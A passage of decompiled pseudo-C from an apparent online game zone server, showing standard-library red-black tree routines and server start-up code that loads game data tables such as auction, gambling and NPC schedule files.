(std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 16) = 1; *(_BYTE *)(v14 + 16) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 16) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00581D40) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00581DA0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, ABSTATEINDEX *_Val, char _Carg) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x14u); if ( result ) { result->_Left = _Larg; result->_Parent = _Parg; result->_Right = _Rarg; result->_Myval = *_Val; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (00581DE0) -------------------------------------------------------- void __thiscall Action::Action(Action *this, ItemAction *actionData) { Action *v2; // esi@1 ItemAction *v3; // edi@1 unsigned __int16 v4; // dx@1 int v5; // eax@1 std::less _Parg; // [sp+Bh] [bp-11h]@1 Action *v7; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v2 = this; v3 = actionData; this->_ID = actionData->ItemActionID; this->_coolTime = v3->CoolTime; v4 = v3->CoolGroupActionID; v7 = this; this->_coolGroupID = v4; std::set_std::allocator>::set_std::allocator>(&this->_conditions); v8 = 0; std::_Tree_std::allocator_0>>::_Tree_std::allocator_0>>( &v2->_effects.baseclass_0, &_Parg, (std::allocator *)&actionData); v5 = v3->ConditionID; LOBYTE(v8) = 1; Action::addCondition(v2, v5); Action::addEffect(v2, v3->EffectID); } //----- (00581E80) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Tree_std::allocator_0>>(std::_Tree,std::allocator,0> > *this, std::less *_Parg, std::allocator *_Al) { std::_Tree_std::allocator_0>>::_Init((std::_Tree,std::allocator,0> > *)this); } //----- (00581EA0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Tidy(std::_Tree,std::allocator,0> > *this) { std::_Tree,std::allocator,0> > *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( this, &result, (std::_Tree,std::allocator,0> >::iterator)this->_Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->_Myhead); operator delete(v1->_Myhead); v1->_Myhead = 0; v1->_Mysize = 0; } //----- (00581ED0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> > *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 std::_Tree,std::allocator,0> >::iterator v7; // ecx@1 std::_Tree,std::allocator,0> >::iterator *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator v9; // edi@5 v4 = _Last; v5 = this; v6 = this->_Myhead; v7 = _First; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v6->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v6 ) { if ( _First != _Last ) { do { v9 = (std::_Tree,std::allocator,0> >::iterator)v7; std::_Tree_std::allocator_0>>::const_iterator::_Inc((std::_Tree,std::allocator,0> >::const_iterator *)&_First); std::_Tree_std::allocator_0>>::erase( (std::_Tree,std::allocator,0> > *)v5, (std::_Tree,std::allocator,0> >::iterator *)&_Last, v9); v7 = _First; } while ( _First != v4 ); } v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v7; } else { std::_Tree_std::allocator_0>>::clear(v5); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5->_Myhead->_Left; } return v8; } //----- (00581F30) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::clear(std::_Tree,std::allocator,0> > *this) { std::_Tree,std::allocator,0> > *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; std::_Tree_std::allocator_0>>::_Erase( this, this->_Myhead->_Parent); v1->_Myhead->_Parent = v1->_Myhead; v2 = v1->_Myhead; v1->_Mysize = 0; v2->_Left = v2; v1->_Myhead->_Right = v1->_Myhead; } //----- (00581F60) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00581FB0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Tidy(std::_Tree,std::allocator,0> > *this) { std::_Tree,std::allocator,0> > *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( this, &result, (std::_Tree,std::allocator,0> >::iterator)this->_Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->_Myhead); operator delete(v1->_Myhead); v1->_Myhead = 0; v1->_Mysize = 0; } //----- (00581FE0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> > *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 std::_Tree,std::allocator,0> >::iterator v7; // ecx@1 std::_Tree,std::allocator,0> >::iterator *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator v9; // edi@5 v4 = _Last; v5 = this; v6 = this->_Myhead; v7 = _First; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v6->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v6 ) { if ( _First != _Last ) { do { v9 = v7; std::_Tree_std::allocator_0>>::const_iterator::_Inc((std::_Tree,std::allocator,0> >::const_iterator *)&_First); std::_Tree_std::allocator_0>>::erase( v5, &_Last, v9); v7 = _First; } while ( _First != v4 ); } v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v7; } else { std::_Tree_std::allocator_0>>::clear(v5); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5->_Myhead->_Left; } return v8; } //----- (00582040) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::clear(std::_Tree,std::allocator,0> > *this) { std::_Tree,std::allocator,0> > *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; std::_Tree_std::allocator_0>>::_Erase( this, this->_Myhead->_Parent); v1->_Myhead->_Parent = v1->_Myhead; v2 = v1->_Myhead; v1->_Mysize = 0; v2->_Left = v2; v1->_Myhead->_Right = v1->_Myhead; } //----- (00582070) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (005820B0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // edx@16 std::_Tree,std::allocator,0> >::iterator i; // ecx@18 std::_Tree,std::allocator,0> >::iterator v11; // eax@19 std::_Tree_nod,std::allocator,0> >::_Node *v12; // edx@22 int v13; // eax@25 std::_Tree_nod,std::allocator,0> >::_Node *j; // ecx@25 std::_Tree_nod,std::allocator,0> >::_Node *v15; // eax@33 int v16; // eax@35 char v17; // al@38 int v18; // eax@42 bool v19; // zf@57 unsigned int v20; // eax@63 std::_Tree,std::allocator,0> >::iterator *v21; // eax@65 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v25; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 17) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v25 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc((std::_Tree,std::allocator,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 17) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) { i = v7; } else { v11 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v5; for ( i = v5; !*(_BYTE *)(*(_DWORD *)&v11 + 17); v11 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v11 ) i = v11; } v9->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)i; } v12 = v3->_Myhead; if ( v12->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) { v12->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; } else { v13 = *(_DWORD *)(*(_DWORD *)&v5 + 8); for ( j = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; !*(_BYTE *)(v13 + 17); v13 = *(_DWORD *)(v13 + 8) ) j = (std::_Tree_nod,std::allocator,0> >::_Node *)v13; v12->_Right = j; } } goto LABEL_39; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 17) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v15 = v3->_Myhead; if ( v15->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v15->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v16 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v16 == v4 ) *(_DWORD *)v16 = v6; else *(_DWORD *)(v16 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v17 = *(_BYTE *)(*(_DWORD *)&v6 + 16); *(_BYTE *)(*(_DWORD *)&v6 + 16) = *(_BYTE *)(*(_DWORD *)&v4 + 16); *(_BYTE *)(*(_DWORD *)&v4 + 16) = v17; LABEL_39: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 16) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 16) != 1 ) break; v18 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v18 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v18 + 16) ) { *(_BYTE *)(v18 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v18 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v18 + 17) ) goto LABEL_57; if ( *(_BYTE *)(*(_DWORD *)v18 + 16) != 1 || *(_BYTE *)(*(_DWORD *)(v18 + 8) + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v18 + 8) + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)v18 + 16) = 1; *(_BYTE *)(v18 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v18); v18 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v18 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)(v18 + 8) + 16) = 1; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v18 + 16) ) { *(_BYTE *)(v18 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v18 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v18 + 17) ) goto LABEL_57; if ( *(_BYTE *)(*(_DWORD *)(v18 + 8) + 16) != 1 || *(_BYTE *)(*(_DWORD *)v18 + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v18 + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)(v18 + 8) + 16) = 1; *(_BYTE *)(v18 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v18); v18 = **(_DWORD **)&v7; } *(_BYTE *)(v18 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)v18 + 16) = 1; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v18 + 16) = 0; LABEL_57: v5 = v7; v19 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v19 ); } *(_BYTE *)(*(_DWORD *)&v5 + 16) = 1; } operator delete(*(void **)&_Erasednode); v20 = v3->_Mysize; if ( v20 ) v3->_Mysize = v20 - 1; v21 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v21; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00582390) -------------------------------------------------------- void __thiscall std::set_std::allocator>::set_std::allocator>(std::set,std::allocator > *this) { std::_Tree_std::allocator_0>>::_Init(&this->baseclass_0); } //----- (005823A0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Init(std::_Tree,std::allocator,0> > *this) { std::_Tree,std::allocator,0> > *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode((std::_Tree,std::allocator,0> > *)this); v1->_Myhead = (std::_Tree_nod,std::allocator,0> >::_Node *)v2; v2->_Isnil = 1; v1->_Myhead->_Parent = v1->_Myhead; v1->_Myhead->_Left = v1->_Myhead; v1->_Myhead->_Right = v1->_Myhead; v1->_Mysize = 0; } //----- (005823D0) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_long(lua_State *L) { shineparam.scp_param.chrrunspeed = 5; shineparam.scp_param.chrwalkspeed = 10; SpamerPenaltyDataBox::spdb_Load(&SpamerPenaltyData); FieldContainer::fc_AbstateInFieldLoad(&fieldlist); BossFieldContent::ServentBuffBossTable::sbbt_Load(&BossFieldContent::g_ServentBuffBossTable); BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load(&BossFieldContent::g_ListOfMobStateCheckAtDead); BossFieldContent::MobAutomaticActionList::maal_Load(&BossFieldContent::g_MobAutomaticActionList); SHND::CommonData>::cd_Load(&SHND::g_BanTime); SHND::CommonData>::cd_Load(&SHND::g_TaxRate); SHND::CommonData>::cd_Load(&SHND::g_EventCode); SHND::CommonData::cd_Load(&SHND::g_GBReward); SlotMachine::SlotMachineScreenManager::smsm_Load(&g_SlotMachineScreenManager); SlotMachine::SlotMachineAnalyse::sma_Load(&g_SlotMachineAnalyse); SlotMachine::SlotMachineJackPotRanking::smjpr_Load(&g_SlotMachineJackPotRanking); CGambleObjectManager::gom_Init(&gGambleObjectManager); CLCReward::clcr_Load(&gLCReward); return 0; } //----- (00582480) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_sleep(lua_State *L) { _iobuf *v1; // esi@1 _iobuf *v2; // esi@4 _iobuf *v3; // esi@4 _iobuf *v4; // esi@4 _iobuf *v5; // esi@4 _iobuf *v6; // esi@7 _iobuf *v7; // esi@10 _iobuf *v8; // esi@13 _iobuf *v9; // esi@16 _iobuf *v10; // esi@19 _iobuf *v11; // esi@22 _iobuf *v12; // esi@25 _iobuf *v13; // esi@28 _iobuf *v14; // esi@31 _iobuf *v15; // esi@34 _iobuf *v16; // esi@37 void *v17; // edi@40 DividendRate v18; // esi@43 _iobuf *v19; // esi@48 _iobuf *v20; // esi@51 _iobuf *v21; // esi@54 _iobuf *v22; // esi@57 char *v23; // esi@57 v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); MobDataBox::mdb_SkillStore(&mobdatabox, &skillnametree, &unk_6BD71C); if ( CWeaponTitle::Read(&gWeaponTitle.baseclass_0, "../9Data/Hero/WeaponTitleData.shn", 0x6C0u, 0x40u) != 1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Init : WeaponTitleData loading failed.", 0); ShineExit("ZoneServer::ZoneServer_zs_start_sleep"); } weapontitle = (CWeaponTitle *)&gWeaponTitle; v2 = fopen("Message.txt", "a"); fprintf(v2, "%s\n"); fclose(v2); NPCAction::Util::loadFromOptionReader>( &conditionManager, "../9Data/Hero/World/NPCAction.txt"); v3 = fopen("Message.txt", "a"); fprintf(v3, "%s\n"); fclose(v3); NPCAction::Util::loadFromOptionReader>( &actionManager, "../9Data/Hero/World/NPCAction.txt"); v4 = fopen("Message.txt", "a"); fprintf(v4, "%s\n"); fclose(v4); NPCAction::Util::loadTriggers(); Table::Load("ActionRangeFactor.shn"); Table::Load("ItemActionCondition.shn"); Table::Load("ItemActionEffect.shn"); Table::Load("ItemAction.shn"); v5 = fopen("Message.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); if ( !CDataReader::Read(&gActionViewInfo, "../9Data/Hero/ActionViewInfo.shn", 0x22Fu, 0x71u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'ActionViewInfo.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v6 = fopen("Message.txt", "a"); fprintf(v6, "%s\n"); fclose(v6); if ( !CDataReader::Read(&gAuctionCost, "../9Data/Hero/AuctionCost.shn", 5u, 9u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'AuctionCost.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v7 = fopen("Message.txt", "a"); fprintf(v7, "%s\n"); fclose(v7); if ( !CDataReader::Read(&gAuctionLimit, "../9Data/Hero/AuctionLimit.shn", 0x18u, 8u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'AuctionLimit.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v8 = fopen("Message.txt", "a"); fprintf(v8, "%s\n"); fclose(v8); if ( !CDataReader::Read(&gAuctionPeriod, "../9Data/Hero/AuctionPeriod.shn", 5u, 5u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'AuctionPeriod.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v9 = fopen("Message.txt", "a"); fprintf(v9, "%s\n"); fclose(v9); if ( !CDataReader::Read(&gMapLinkPoint, "../9Data/Hero/MapLinkPoint.shn", 0x2Bu, 0xEu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'MapLinkPoint.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v10 = fopen("Message.txt", "a"); fprintf(v10, "%s\n"); fclose(v10); if ( !CDataReader::Read(&gMapWayPoint, "../9Data/Hero/MapWayPoint.shn", 0x25u, 0xBu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'MapWayPoint.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v11 = fopen("Message.txt", "a"); fprintf(v11, "%s\n"); fclose(v11); if ( !CDataReader::Read(&gGambleHouse, "../9Data/Hero/GBHouse.shn", 0x28u, 0xBu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'GBHouse.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v12 = fopen("Message.txt", "a"); fprintf(v12, "%s\n"); fclose(v12); if ( !CDataReader::Read(&gGambleExchangeMaxCoin, "../9Data/Hero/GBExchangeMaxCoin.shn", 0xAu, 5u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'GBExchangeMaxCoin.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v13 = fopen("Message.txt", "a"); fprintf(v13, "%s\n"); fclose(v13); if ( !CDataReader::Read(&gGBJoinGameMember, "../9Data/Hero/GBJoinGameMember.shn", 0xCu, 6u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'GBJoinGameMember.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v14 = fopen("Message.txt", "a"); fprintf(v14, "%s\n"); fclose(v14); if ( !CDataReader::Read(&gGBDiceDividind, "../9Data/Hero/GBDiceDividind.shn", 0xA7Eu, 0x1Fu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'GBDiceDividind.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v15 = fopen("Message.txt", "a"); fprintf(v15, "%s\n"); fclose(v15); if ( !CDataReader::Read(&gGBDiceGame, "../9Data/Hero/GBDiceGame.shn", 0x25u, 8u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'GBDiceGame.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v16 = fopen("Message.txt", "a"); fprintf(v16, "%s\n"); fclose(v16); if ( !CDataReader::Read(&gGBDiceRate, "../9Data/Hero/GBDiceRate.shn", 0xAu, 4u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'GBDiceRate.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v17 = CDataReader::GetRecord(&gGBDiceDividind, 0); if ( v17 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'GBDiceDividind.shn'", 1); ShineExit("ZoneServer::ZoneServer_zs_start_star"); } DiceTaiSai::Init(&gGBDiceTaiSai, *((_BYTE *)v17 + 30)); v18 = 0; do { DiceTaiSaiDividind::Init(&gGBDiceTaiSaiDividind, v18, *((_WORD *)v17 + v18)); ++v18; } while ( (unsigned int)v18 < 0xF ); if ( !DiceTaiSaiDividind::isInitFinishe(&gGBDiceTaiSaiDividind) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'GBDiceDividind.shn'", 2); ShineExit("ZoneServer::ZoneServer_zs_start_star"); } v19 = fopen("Message.txt", "a"); fprintf(v19, "%s\n"); fclose(v19); if ( !CDataReader::Read(&gNpcSchedule, "../9Data/Hero/NpcSchedule.shn", 0x83u, 0x2Au) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'NpcSchedule.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v20 = fopen("Message.txt", "a"); fprintf(v20, "%s\n"); fclose(v20); if ( !CDataReader::Read(&gReactionType, "../9Data/Hero/ReactionType.shn", 0x3Du, 0x28u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'ReactionType.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v21 = fopen("Message.txt", "a"); fprintf(v21, "%s\n"); fclose(v21); if ( !CDataReader::Read(&gAdminLvSet, "../9Data/Hero/AdminLvSet.shn", 5u, 0x14u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'AdminLvSet.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } AmpCmdInit(); Table::Load("SetEffect.shn"); Table::Load("ActionEffectItem.shn"); Table::Load("ActionEffectAbState.shn"); v22 = fopen("Message.txt", "a"); fprintf(v22, "%s\n"); fclose(v22); v23 = CShnDataFileCheckSum::NotLoadFileName(&ShnDataFile); if ( !CShnDataFileCheckSum::isFileLoadAllComplete(&ShnDataFile) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read SHN Data File. ", v23); ShineExit(0); } return 0; } //----- (00582C80) -------------------------------------------------------- void __thiscall CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(CAnnounceSystem *this, char AnnounceType, const char *Msg) { char *v3; // ecx@1 const char *v4; // eax@1 const char v5; // dl@2 int v6; // esi@3 ZoneBaseSession *v7; // eax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD"); 